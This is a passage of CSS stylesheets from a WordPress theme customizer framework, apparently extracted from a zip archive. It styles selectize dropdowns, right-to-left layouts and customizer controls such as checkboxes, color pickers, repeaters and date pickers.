  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1);
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1);
  -webkit-border-radius: 3px;
  -moz-border-radius: 3px;
  border-radius: 3px;
}
.selectize-control.multi .selectize-input.has-items {
  padding: 5px 8px 2px;
}
.selectize-input.full {
  background-color: #ffffff;
}
.selectize-input.disabled,
.selectize-input.disabled * {
  cursor: default !important;
}
.selectize-input.focus {
  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.15);
  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.15);
}
.selectize-input.dropdown-active {
  -webkit-border-radius: 3px 3px 0 0;
  -moz-border-radius: 3px 3px 0 0;
  border-radius: 3px 3px 0 0;
}
.selectize-input > * {
  vertical-align: baseline;
  display: -moz-inline-stack;
  display: inline-block;
  zoom: 1;
  *display: inline;
}
.selectize-control.multi .selectize-input > div {
  cursor: pointer;
  margin: 0 3px 3px 0;
  padding: 2px 6px;
  background: #1da7ee;
  color: #ffffff;
  border: 1px solid #0073bb;
}
.selectize-control.multi .selectize-input > div.active {
  background: #92c836;
  color: #ffffff;
  border: 1px solid #00578d;
}
.selectize-control.multi .selectize-input.disabled > div,
.selectize-control.multi .selectize-input.disabled > div.active {
  color: #ffffff;
  background: #d2d2d2;
  border: 1px solid #aaaaaa;
}
.selectize-input > input {
  display: inline-block !important;
  padding: 0 !important;
  min-height: 0 !important;
  max-height: none !important;
  max-width: 100% !important;
  margin: 0 1px !important;
  text-indent: 0 !important;
  border: 0 none !important;
  background: none !important;
  line-height: inherit !important;
  -webkit-user-select: auto !important;
  -webkit-box-shadow: none !important;
  box-shadow: none !important;
}
.selectize-input > input::-ms-clear {
  display: none;
}
.selectize-input > input:focus {
  outline: none !important;
}
.selectize-input::after {
  content: ' ';
  display: block;
  clear: left;
}
.selectize-input.dropdown-active::before {
  content: ' ';
  display: block;
  position: absolute;
  background: #f0f0f0;
  height: 1px;
  bottom: 0;
  left: 0;
  right: 0;
}
.selectize-dropdown {
  position: absolute;
  z-index: 10;
  border: 1px solid #d0d0d0;
  background: #ffffff;
  margin: -1px 0 0 0;
  border-top: 0 none;
  -webkit-box-sizing: border-box;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
  box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
  -webkit-border-radius: 0 0 3px 3px;
  -moz-border-radius: 0 0 3px 3px;
  border-radius: 0 0 3px 3px;
}
.selectize-dropdown [data-selectable] {
  cursor: pointer;
  overflow: hidden;
}
.selectize-dropdown [data-selectable] .highlight {
  background: rgba(125, 168, 208, 0.2);
  -webkit-border-radius: 1px;
  -moz-border-radius: 1px;
  border-radius: 1px;
}
.selectize-dropdown [data-selectable],
.selectize-dropdown .optgroup-header {
  padding: 5px 8px;
}
.selectize-dropdown .optgroup:first-child .optgroup-header {
  border-top: 0 none;
}
.selectize-dropdown .optgroup-header {
  color: #303030;
  background: #ffffff;
  cursor: default;
}
.selectize-dropdown .active {
  background-color: #f5fafd;
  color: #495c68;
}
.selectize-dropdown .active.create {
  color: #495c68;
}
.selectize-dropdown .create {
  color: rgba(48, 48, 48, 0.5);
}
.selectize-dropdown-content {
  overflow-y: auto;
  overflow-x: hidden;
  max-height: 200px;
}
.selectize-control.single .selectize-input,
.selectize-control.single .selectize-input input {
  cursor: pointer;
}
.selectize-control.single .selectize-input.input-active,
.selectize-control.single .selectize-input.input-active input {
  cursor: text;
}
.selectize-control.single .selectize-input:after {
  content: ' ';
  display: block;
  position: absolute;
  top: 50%;
  right: 15px;
  margin-top: -3px;
  width: 0;
  height: 0;
  border-style: solid;
  border-width: 5px 5px 0 5px;
  border-color: #808080 transparent transparent transparent;
}
.selectize-control.single .selectize-input.dropdown-active:after {
  margin-top: -4px;
  border-width: 0 5px 5px 5px;
  border-color: transparent transparent #808080 transparent;
}
.selectize-control.rtl.single .selectize-input:after {
  left: 15px;
  right: auto;
}
.selectize-control.rtl .selectize-input > input {
  margin: 0 4px 0 -2px !important;
}
.selectize-control .selectize-input.disabled {
  opacity: 0.5;
  background-color: #fafafa;
}
.selectize-control.multi .selectize-input.has-items {
  padding-left: 5px;
  padding-right: 5px;
}
.selectize-control.multi .selectize-input.disabled [data-value] {
  color: #999;
  text-shadow: none;
  background: none;
  -webkit-box-shadow: none;
  box-shadow: none;
}
.selectize-control.multi .selectize-input.disabled [data-value],
.selectize-control.multi .selectize-input.disabled [data-value] .remove {
  border-color: #e6e6e6;
}
.selectize-control.multi .selectize-input.disabled [data-value] .remove {
  background: none;
}
.selectize-control.multi .selectize-input [data-value] {
  text-shadow: 0 1px 0 rgba(0, 51, 83, 0.3);
  -webkit-border-radius: 3px;
  -moz-border-radius: 3px;
  border-radius: 3px;
  background-color: #1b9dec;
  background-image: -moz-linear-gradient(top, #1da7ee, #178ee9);
  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#1da7ee), to(#178ee9));
  background-image: -webkit-linear-gradient(top, #1da7ee, #178ee9);
  background-image: -o-linear-gradient(top, #1da7ee, #178ee9);
  background-image: linear-gradient(to bottom, #1da7ee, #178ee9);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff1da7ee', endColorstr='#ff178ee9', GradientType=0);
  -webkit-box-shadow: 0 1px 0 rgba(0,0,0,0.2),inset 0 1px rgba(255,255,255,0.03);
  box-shadow: 0 1px 0 rgba(0,0,0,0.2),inset 0 1px rgba(255,255,255,0.03);
}
.selectize-control.multi .selectize-input [data-value].active {
  background-color: #0085d4;
  background-image: -moz-linear-gradient(top, #008fd8, #0075cf);
  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#008fd8), to(#0075cf));
  background-image: -webkit-linear-gradient(top, #008fd8, #0075cf);
  background-image: -o-linear-gradient(top, #008fd8, #0075cf);
  background-image: linear-gradient(to bottom, #008fd8, #0075cf);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff008fd8', endColorstr='#ff0075cf', GradientType=0);
}
.selectize-control.single .selectize-input {
  -webkit-box-shadow: 0 1px 0 rgba(0,0,0,0.05), inset 0 1px 0 rgba(255,255,255,0.8);
  box-shadow: 0 1px 0 rgba(0,0,0,0.05), inset 0 1px 0 rgba(255,255,255,0.8);
  background-color: #f9f9f9;
  background-image: -moz-linear-gradient(top, #fefefe, #f2f2f2);
  background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fefefe), to(#f2f2f2));
  background-image: -webkit-linear-gradient(top, #fefefe, #f2f2f2);
  background-image: -o-linear-gradient(top, #fefefe, #f2f2f2);
  background-image: linear-gradient(to bottom, #fefefe, #f2f2f2);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffefefe', endColorstr='#fff2f2f2', GradientType=0);
}
.selectize-control.single .selectize-input,
.selectize-dropdown.single {
  border-color: #b8b8b8;
}
.selectize-dropdown .optgroup-header {
  padding-top: 7px;
  font-weight: bold;
  font-size: 0.85em;
}
.selectize-dropdown .optgroup {
  border-top: 1px solid #f0f0f0;
}
.selectize-dropdown .optgroup:first-child {
  border-top: 0 none;
}
PK     0w\4}-	  -	  2  customizer/framework/assets/css/customizer-rtl.cssnu [        #customize-header-actions {
    position: relative;
    padding-left: 60px;
    padding-right: auto;
}
#customize-header-actions {
    border-left: none;
    border-right: none;
}

#customize-header-actions .button-primary {
    margin-right: unset;
}

.customizer-search-wrapper .customizer-search-toggle {
    left: 0;
    right: auto;
    border-right: 1px solid #ddd;
    border-left: none;
}

.customizer-search-wrapper .customizer-form-search {
    padding: 0 20px 0 65px;
}

#accordion-panel-soledad_fw_global_panel > .accordion-section-title, #accordion-panel-soledad_fw_header > .accordion-section-title, #accordion-panel-soledad_fw_footer > .accordion-section-title, #accordion-panel-soledad_fw_single_post_panel > .accordion-section-title, #accordion-section-soledad_fw_social_like_section > .accordion-section-title, #accordion-section-soledad_fw_review_section > .accordion-section-title, #accordion-panel-soledad_fw_category_panel > .accordion-section-title, #accordion-panel-soledad_fw_archive > .accordion-section-title, #accordion-section-soledad_fw_mobile_option_section > .accordion-section-title, #accordion-panel-soledad_fw_font > .accordion-section-title, #accordion-section-soledad_fw_social_icon_section > .accordion-section-title, #accordion-panel-soledad_fw_disable_panel > .accordion-section-title {
    padding-left: 0;
    padding-right: 40px;
}

#accordion-panel-soledad_fw_global_panel > .accordion-section-title::before, #accordion-panel-soledad_fw_header > .accordion-section-title::before, #accordion-panel-soledad_fw_footer > .accordion-section-title::before, #accordion-panel-soledad_fw_single_post_panel > .accordion-section-title::before, #accordion-section-soledad_fw_social_like_section > .accordion-section-title::before, #accordion-section-soledad_fw_review_section > .accordion-section-title::before, #accordion-panel-soledad_fw_category_panel > .accordion-section-title::before, #accordion-panel-soledad_fw_archive > .accordion-section-title::before, #accordion-section-soledad_fw_mobile_option_section > .accordion-section-title::before, #accordion-panel-soledad_fw_font > .accordion-section-title::before, #accordion-section-soledad_fw_social_icon_section > .accordion-section-title::before, #accordion-panel-soledad_fw_disable_panel > .accordion-section-title::before {
    right: 0;
    left: auto;
}
PK     0w\U`  `  .  customizer/framework/assets/css/customizer.cssnu [        #customize-preview.is-soledad-fw-editor-open {
	height: calc(100% - 301px);
}
.customize-control-soledad .description {
	font-style: normal;
	font-weight: 300;
	font-size: .9em;
}
h2.customize-control-title:focus {
	background: #0f69ff;
	animation-name: title-focus;
	animation-duration: 1s;
	margin-left: -20px;
	margin-right: -20px;
	padding-left: 20px;
	padding-right: 20px;
}
@keyframes title-focus {
	from {
		background-color: #03087d;
	}
	to {
		background-color: #0f69ff;
	}
}
.customize-control input[type="tel"],
.customize-control input[type="url"],
.customize-control input[type="text"],
.customize-control input[type="password"],
.customize-control input[type="email"],
.customize-control input[type="number"],
.customize-control input[type="search"] {
	border: 1px solid #d4d4d4;
	background-image: none;
	background-position: 0% 0%;
	background-repeat: repeat;
	padding: 6px 12px;
	line-height: 18px;
	box-shadow: none;
}
.wp-full-overlay.expanded #customize-footer-actions .soledad-fw-footer-thanks {
	position: fixed;
	bottom: 8px;
	left: 150px;
	padding: 0;
	width: 90px;
	height: 25px;
	background-image: url("../images/soledad-fw-bottom.png");
	background-repeat: no-repeat;
	background-position: center center;
}
.soledad-fw-reset-section {
	position: absolute;
	top: 10px;
	right: 10px;
	background: #BDBDBD;
	opacity: .5;
	color: #fff;
	font-size: .8rem;
	border-radius: 3px;
	padding: 0 5px;
	-webkit-transition: all .2s ease-in-out;
	-moz-transition: all .2s ease-in-out;
	-ms-transition: all .2s ease-in-out;
	-o-transition: all .2s ease-in-out;
	transition: all .2s ease-in-out;
	font-weight: bold;
}
.soledad-fw-reset-section .dashicons {
	font-size: .8rem;
	width: .8rem;
	height: .8rem;
	line-height: .8rem;
	vertical-align: baseline;
}
.soledad-fw-reset-section:hover,
.soledad-fw-reset-section:active {
	background: #F44336;
	color: #fff;
	font-weight: bold;
	opacity: 1;
}
.soledad-fw-reset-section:focus {
	opacity: 1;
	-webkit-box-shadow: 0 0 0 1px #F44336, 0 0 2px 1px rgba(200, 50, 30, 0.8);
	box-shadow: 0 0 0 1px #F44336, 0 0 2px 1px rgba(200, 50, 30, 0.8);
}
#customize-theme-controls .control-panel.control-panel-soledad-fw-expanded > ul.control-panel-content {
	position: relative;
	left: 0;
	display: block !important;
	margin-top: 0 !important;
}
#customize-theme-controls .control-panel.control-panel-soledad-fw-expanded > ul.control-panel-content .accordion-section-title {
	margin-left: 0;
}
#customize-theme-controls .control-panel.control-panel-soledad-fw-expanded > ul.control-panel-content > li.customize-info {
	margin-bottom: 0;
	border-top: none;
}
#customize-theme-controls .control-panel.control-panel-soledad-fw-expanded > ul.control-panel-content > li.customize-info .accordion-section-title {
	border-bottom: none !important;
}
#customize-theme-controls .control-section.control-section-soledad-fw-expanded > ul.accordion-section-content {
	position: relative;
	left: 0;
	display: block;
	margin-top: 0 !important;
}
#customize-theme-controls .control-section.control-section-soledad-fw-hover:hover:not(.open) > ul.accordion-section-content,
#customize-theme-controls .control-section.control-section-soledad-fw-hover:focus:not(.open) > ul.accordion-section-content,
#customize-theme-controls .control-section.control-section-soledad-fw-hover:active:not(.open) > ul.accordion-section-content {
	position: fixed;
	left: 300px;
	width: 300px;
	background: #eee;
	display: block;
	height: 100%;
	max-height: 100vh;
	overflow-y: scroll;
}
#customize-theme-controls .control-section.control-section-soledad-fw-hover:hover:not(.open) .customize-section-title,
#customize-theme-controls .control-section.control-section-soledad-fw-hover:focus:not(.open) .customize-section-title,
#customize-theme-controls .control-section.control-section-soledad-fw-hover:active:not(.open) .customize-section-title {
	display: none;
}
.customize-control-soledad-fw-checkbox input[type="checkbox"],
.customize-control-soledad-fw-multicheck input[type="checkbox"],
.customize-control-soledad-fw-repeater input[type="checkbox"] {
	position: relative;
	margin: 0 1rem 0 0;
	cursor: pointer;
	margin-bottom: 5px;
	width: 22px;
	height: 22px;
	border-radius: 3px;
	-webkit-border-radius: 3px;
}
.customize-control-soledad-fw-checkbox input[type="checkbox"]:before,
.customize-control-soledad-fw-multicheck input[type="checkbox"]:before,
.customize-control-soledad-fw-repeater input[type="checkbox"]:before {
	content: "";
	position: absolute;
	left: 0;
	z-index: 1;
	width: 100%;
	height: 100%;
	border: none;
}
.customize-control-soledad-fw-checkbox input[type="checkbox"]:after,
.customize-control-soledad-fw-multicheck input[type="checkbox"]:after,
.customize-control-soledad-fw-repeater input[type="checkbox"]:after {
	content: "";
	position: absolute;
	left: 0;
	top: 0;
	width: 100%;
	height: 100%;
	background: #f2f2f2;
	cursor: pointer;
	border-radius: 3px;
	-webkit-border-radius: 3px;
}
.customize-control-soledad-fw-checkbox input[type="checkbox"]:checked:before,
.customize-control-soledad-fw-multicheck input[type="checkbox"]:checked:before,
.customize-control-soledad-fw-repeater input[type="checkbox"]:checked:before {
	content: "\f147";
	font-family: dashicons;
	font-size: 25px;
	left: 0;
	top: 2px;
}
.customize-control-soledad-fw-checkbox input[type="checkbox"]:checked:after,
.customize-control-soledad-fw-multicheck input[type="checkbox"]:checked:after,
.customize-control-soledad-fw-repeater input[type="checkbox"]:checked:after {
	background: #fff;
}
.wp-color-result {
	border-radius: 0;
	margin-right: 0;
	-webkit-box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
}
.wp-picker-container, .wp-picker-container:active {
	display: block;
}
.customize-control .wp-picker-open + .wp-picker-input-wrap {
	display: flex;
	justify-content: space-between;
}
.customize-control .wp-picker-container input[type=text].wp-color-picker {
	padding: 3px 5px;
	width: 100%;
}
.customize-control .wp-picker-container .wp-color-result {
	width: 100%;
}
.customize-control .wp-picker-container .button,
.customize-control .wp-color-result-text {
	transform: none !important;
	box-shadow: none;
	border-radius: 0;
}
.customize-control-soledad-fw-color .wp-picker-container .wp-color-result.button {
	padding-left: 40px;
}
.customize-control-soledad-fw-color .wp-picker-input-wrap label {
	width: 60%;
}
.customize-control-soledad-fw-color .wp-picker-input-wrap .button,
.customize-control-soledad-fw-color .wp-customizer .wp-picker-input-wrap .button {
	width: calc(40% - 6px);
}
.customize-control-soledad-fw-color .wp-picker-container a.wp-color-result {
	width: auto;
	display: block;
	border: none;
	padding-left: 40px;
}
.customize-control-soledad-fw-color .wp-picker-container .color-alpha {
	width: 40px !important;
	top: 0 !important;
}
.customize-control-soledad-fw-color .wp-picker-container a.wp-color-result:after {
	background: rgba(0, 0, 0, 0.25);
	color: #fff;
	border: none;
	-webkit-box-shadow: none;
	box-shadow: none;
}
.customize-control-soledad-fw-color .wp-picker-container a.wp-color-result:focus:after,
.customize-control-soledad-fw-color .wp-picker-container a.wp-color-result:hover:after {
	color: #fff;
}
#soledad_fw_editor_pane {
	background: #fff;
	z-index: 1;
	padding-top: 5px;
	border-top: 1px solid #dedede;
	position: absolute;
	bottom: 0;
	width: 100%;
	-webkit-transition: bottom .2s;
	-moz-transition: bottom .2s;
	-ms-transition: bottom .2s;
	-o-transition: bottom .2s;
	transition: bottom .2s;
}
#soledad_fw_editor_pane.hide {
	bottom: -301px;
	z-index: -999;
}
.mce-container.mce-panel.mce-floatpanel.mce-window.mce-in {
	z-index: 99999999 !important;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper {
	display: flex;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper .multicolor-single-color-wrapper {
	width: 100%;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper .multicolor-single-color-wrapper label {
	display: block;
	text-align: center;
	padding: 3px;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper .wp-picker-container {
	width: 100%;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper .wp-picker-container a.wp-color-result {
	width: 100%;
	height: 30px;
	padding-left: 0;
	border-radius: 0;
	border: none;
	margin-right: 0;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper .wp-picker-container a.wp-color-result > span {
	border-top-left-radius: 0 !important;
	border-bottom-left-radius: 0 !important;
	border-top-right-radius: 0 !important;
	border-bottom-right-radius: 0 !important;
}
.customize-control-soledad-fw-multicolor .multicolor-group-wrapper .wp-picker-container a.wp-color-result:after {
	display: none;
}
.customize-control-soledad-fw-color-palette label {
	position: relative;
	display: inline-block;
	padding: 2px 0;
}
.customize-control-soledad-fw-color-palette .color-palette-color {
	color: transparent;
	display: block;
	width: 42px;
	height: 42px;
	overflow: hidden;
	border-radius: 50%;
	-webkit-box-shadow: inset 3px 3px 13px 2px rgba(0, 0, 0, 0.22);
	box-shadow: inset 3px 3px 13px 2px rgba(0, 0, 0, 0.22);
	border: 1px solid rgba(0, 0, 0, 0.2);
}
.customize-control-soledad-fw-color-palette .colors-wrapper {
	max-height: 300px;
	overflow-y: auto;
	padding: 10px;
}
.customize-control-soledad-fw-color-palette .colors-wrapper input {
	display: none;
}
.customize-control-soledad-fw-color-palette .colors-wrapper input:checked + label .color-palette-color {
	-webkit-box-shadow: 1px 1px 10px 1px #333333;
	box-shadow: 1px 1px 10px 1px #333333;
	border: 1px solid rgba(0, 0, 0, 0.3);
}
.wp-customizer div.ui-datepicker {
	z-index: 500001 !important;
	width: 255px;
	background: #fff;
	border: 1px solid #dedede;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header {
	padding: 10px;
	background: #e5e5e5;
	border-bottom: 1px solid #fff;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev {
	display: block;
	position: absolute;
	width: 1em;
	overflow: hidden;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next:after,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next:before,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev:after,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev:before {
	font-family: dashicons;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next:after:hover,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next:before:hover,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev:after:hover,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev:before:hover {
	cursor: pointer;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next .ui-icon,
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev .ui-icon {
	display: none;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev {
	left: 10px;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-prev:before {
	content: "\f341";
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next {
	right: 10px;
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-next:after {
	content: "\f345";
}
.wp-customizer div.ui-datepicker .ui-datepicker-header .ui-datepicker-title {
	text-align: center;
}
.wp-customizer div.ui-datepicker .ui-datepicker-calendar {
	border-collapse: collapse;
	width: 100%;
}
.wp-customizer div.ui-datepicker .ui-datepicker-calendar thead {
	background: #e5e5e5;
	padding: 5px;
}
.wp-customizer div.ui-datepicker .ui-datepicker-calendar tr td {
	text-align: center;
}
.wp-customizer div.ui-datepicker .ui-datepicker-calendar tr td a {
	display: block;
	padding: 5px;
	color: #333;
	text-decoration: none;
}
.wp-customizer div.ui-datepicker .ui-datepicker-calendar tr td a.ui-state-active,
.wp-customizer div.ui-datepicker .ui-datepicker-calendar tr td a:hover {
	color: #fff;
	background-color: #0073aa;
}
.wp-customizer div.ui-datepicker .ui-datepicker-calendar tr td.ui-state-disabled a,
.wp-customizer div.ui-datepicker .ui-datepicker-calendar tr td.ui-state-disabled .ui-state-default a {
	color: #999;
}
.customize-control-soledad-fw-dashicons label {
	position: relative;
	display: inline-block;
}
.customize-control-soledad-fw-dashicons .icons-wrapper {
	max-height: 300px;
	overflow-y: scroll;
}
.customize-control-soledad-fw-dashicons .icons-wrapper h4 {
	font-weight: 300;
	margin: 0.7em 0;
}
.customize-control-soledad-fw-dashicons .icons-wrapper .dashicons {
	padding: 3px;
	font-size: 25px;
	width: 25px;
	height: 25px;
	border: 1px solid transparent;
}
.customize-control-soledad-fw-dashicons .icons-wrapper input {
	display: none;
}
.customize-control-soledad-fw-dashicons .icons-wrapper input:checked + label .dashicons {
	border: 1px solid #3498DB;
	color: #000;
}
.customize-control-soledad-fw-dimension .input-wrapper .invalid-value {
	display: none;
	background: #D32F2F;
	font-size: 0.85em;
	color: #fff;
	float: left;
	padding: 2px 0;
	border-radius: 3px;
}
.customize-control-soledad-fw-dimension .input-wrapper.invalid .invalid-value {
	display: block;
	width: 98%;
	text-align: center;
}
.customize-control-soledad-fw-dimension .input-wrapper.invalid input[type="text"]:focus {
	border-color: #D32F2F;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content {
	position: relative;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button {
	position: absolute;
	right: 0;
	color: #aaa;
	border: none;
	padding: 0 5px;
	width: 20px;
	height: calc(50% + 0.5em);
	border-radius: 0;
	-webkit-border-radius: 0;
	box-shadow: none;
	-webkit-box-shadow: none;
	margin: 0;
	text-align: center;
	border-left: 1px solid #e0e0e0;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button .ui-button-text {
	display: none;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button.ui-spinner-down:before,
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button.ui-spinner-up:before {
	font-family: dashicons;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button.ui-spinner-up {
	top: -50%;
	border-bottom: 1px solid #e0e0e0;
	padding-bottom: 1px;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button.ui-spinner-up:before {
	content: "\f343";
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button.ui-spinner-down {
	top: 50%;
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button.ui-spinner-down:before {
	content: "\f347";
}
.customize-control-soledad-fw-number .ui-spinner.ui-widget-content .ui-spinner-button:hover {
	color: inherit;
}
.customize-control-soledad-fw-palette input[type="radio"] {
	display: none;
}
.customize-control-soledad-fw-palette input[type="radio"]:checked + label {
	border: 3px solid rgba(0, 0, 0, 0.4);
}
.customize-control-soledad-fw-palette label {
	background: none;
	padding: 0;
	border-top: 3px solid transparent;
	border-bottom: 3px solid transparent;
	margin-bottom: 5px;
	display: flex;
}
.customize-control-soledad-fw-palette label span {
	padding: 10px 0;
	flex-grow: 1;
	font-size: 0;
	line-height: 10px;
	color: transparent;
	-webkit-transition: all 200ms ease-in-out;
	-moz-transition: all 200ms ease-in-out;
	-ms-transition: all 200ms ease-in-out;
	-o-transition: all 200ms ease-in-out;
	transition: all 200ms ease-in-out;
	border-top: 1px solid rgba(0, 0, 0, 0.1);
	border-bottom: 1px solid rgba(0, 0, 0, 0.1);
}
.customize-control-soledad-fw-palette label span:first-child {
	border-left: 1px solid rgba(0, 0, 0, 0.1);
}
.customize-control-soledad-fw-palette label span:last-child {
	border-right: 1px solid rgba(0, 0, 0, 0.1);
}
.customize-control-soledad-fw-palette label span:hover {
	padding: 10px;
	flex-grow: 3;
	min-width: 60px;
	font-size: 10px;
	line-height: 10px;
	color: #000;
}
.customize-control-soledad-fw-radio input[type=radio] {
	width: 18px;
	height: 18px;
}
.customize-control-soledad-fw-radio input[type=radio]:checked:before {
	width: 10px;
	height: 10px;
	margin: 3px;
}
.customize-control-soledad-fw-radio label {
	display: list-item;
	margin-bottom: 7px;
}
.customize-control-soledad-fw-radio .customize-inside-control-row label {
	display: inline;
	vertical-align: top;
}
.customize-control-soledad-fw-radio label .option-description {
	display: block;
	color: rgba(0, 0, 0, 0.35);
	font-size: 0.9em;
	padding-left: 25px;
}
.customize-control-soledad-fw-radio-buttonset .buttonset {
	margin-top: 15px;
}
.customize-control-soledad-fw-radio-buttonset .buttonset .switch-label {
	background: #ebebeb;
	color: #666;
	border: 1px solid rgba(0, 0, 0, 0.1);
	padding: 6px 12px;
	margin: 0;
	font-size: 12px;
	margin-right: 4px;
	border-radius: 2px;
	text-shadow: 0 1px 0 #fff;
	display: inline-block;
}
.customize-control-soledad-fw-radio-buttonset .buttonset .switch-label:last-child {
	margin-right: 0;
}
.customize-control-soledad-fw-radio-buttonset .buttonset .switch-input {
	display: none;
}
.customize-control-soledad-fw-radio-buttonset .buttonset .switch-input:checked + .switch-label {
	background-color: #0f69ff;
	color: #fff;
	text-shadow: 0 1px 1px #3d6fc3;
}
.customize-control-soledad-fw-radio-image label {
	position: relative;
	display: inline-block;
}
.customize-control-soledad-fw-radio-image .image label {
	padding: 3px;
	margin: 4px 2px;
	box-sizing: border-box;
	border: 3px solid #ddd;
}
.customize-control-soledad-fw-radio-image input:checked + label {
	-webkit-box-shadow: 0 0 5px 2px rgba(0, 0, 0, 0.25);
	box-shadow: 0 0 5px 2px rgba(0, 0, 0, 0.25);
	border-color: #3498DB;
}
.customize-control-soledad-fw-radio-image input {
	display: none;
}
.customize-control-soledad-fw-radio-image input img {
	border: 1px solid transparent;
}
.customize-control-soledad-fw-radio-image input + label img {
	display: block;
}
.customize-control-soledad-fw-radio-image input + label .image-clickable {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	width: 100%;
	height: 100%;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row {
	border: 1px solid #ddd;
	margin-top: 0.5rem;
	position: relative;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row.minimized {
	background: #f5f5f5;
	padding: 0;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row.minimized:hover {
	background: #fbfbfb;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row.minimized .repeater-row-content {
	display: none;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row label {
	margin-bottom: 12px;
	clear: both;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row .repeater-field.repeater-field- {
	display: none;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row .repeater-field.repeater-field-radio-image input {
	display: none;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row .repeater-field.repeater-field-radio-image input img {
	border: 1px solid transparent;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row .repeater-field.repeater-field-radio-image input:checked + label img {
	-webkit-box-shadow: 0 0 5px 2px rgba(0, 0, 0, 0.25);
	box-shadow: 0 0 5px 2px rgba(0, 0, 0, 0.25);
	border: 1px solid #3498DB;
}
.customize-control-soledad-fw-repeater .repeater-fields .repeater-row .repeater-field:last-child {
	border-bottom: none;
	padding-bottom: 0;
}
.customize-control-soledad-fw-repeater .repeater-add-wrapper {
	padding: 8px;
	margin-top: 10px;
	text-align: center;
	border: 1px dashed #e0e0e0;
}
.customize-control-soledad-fw-repeater .repeater-add-wrapper .repeater-add {
	width: 100px;
}
.customize-control-soledad-fw-repeater .repeater-row-content {
	padding: 12px 15px;
}
.customize-control-soledad-fw-repeater .repeater-field {
	margin-bottom: 12px;
	width: 100%;
	clear: both;
}
.customize-control-soledad-fw-repeater .repeater-field .customize-control-title {
	font-size: 13px;
	line-height: initial;
	margin-bottom: 0.5em;
}
.customize-control-soledad-fw-repeater .repeater-field .customize-control-description {
	font-size: 13px;
	line-height: initial;
}
.customize-control-soledad-fw-repeater .repeater-field.repeater-field-hidden {
	margin: 0;
	padding: 0;
	border: 0;
}
.customize-control-soledad-fw-repeater .repeater-field-checkbox label {
	line-height: 28px;
}
.customize-control-soledad-fw-repeater .repeater-field-checkbox input {
	line-height: 28px;
	margin-right: 5px;
}
.customize-control-soledad-fw-repeater .repeater-field-textarea textarea {
	width: 100%;
	resize: vertical;
}
.customize-control-soledad-fw-repeater .repeater-row-header {
	border-bottom: 1px solid #e0e0e0;
	position: relative;
	padding: 10px 15px 10px 35px;
	height: auto;
	min-height: 20px;
	line-height: 30px;
	overflow: hidden;
	word-wrap: break-word;
}
.customize-control-soledad-fw-repeater .repeater-row-header:hover {
	cursor: move;
}
.customize-control-soledad-fw-repeater .repeater-row-header .dashicons {
	font-size: 18px;
	position: absolute;
	right: 12px;
	top: 2px;
	color: #a0a5aa;
}
.customize-control-soledad-fw-repeater .repeater-row-label {
	font-size: 13px;
	font-weight: 600;
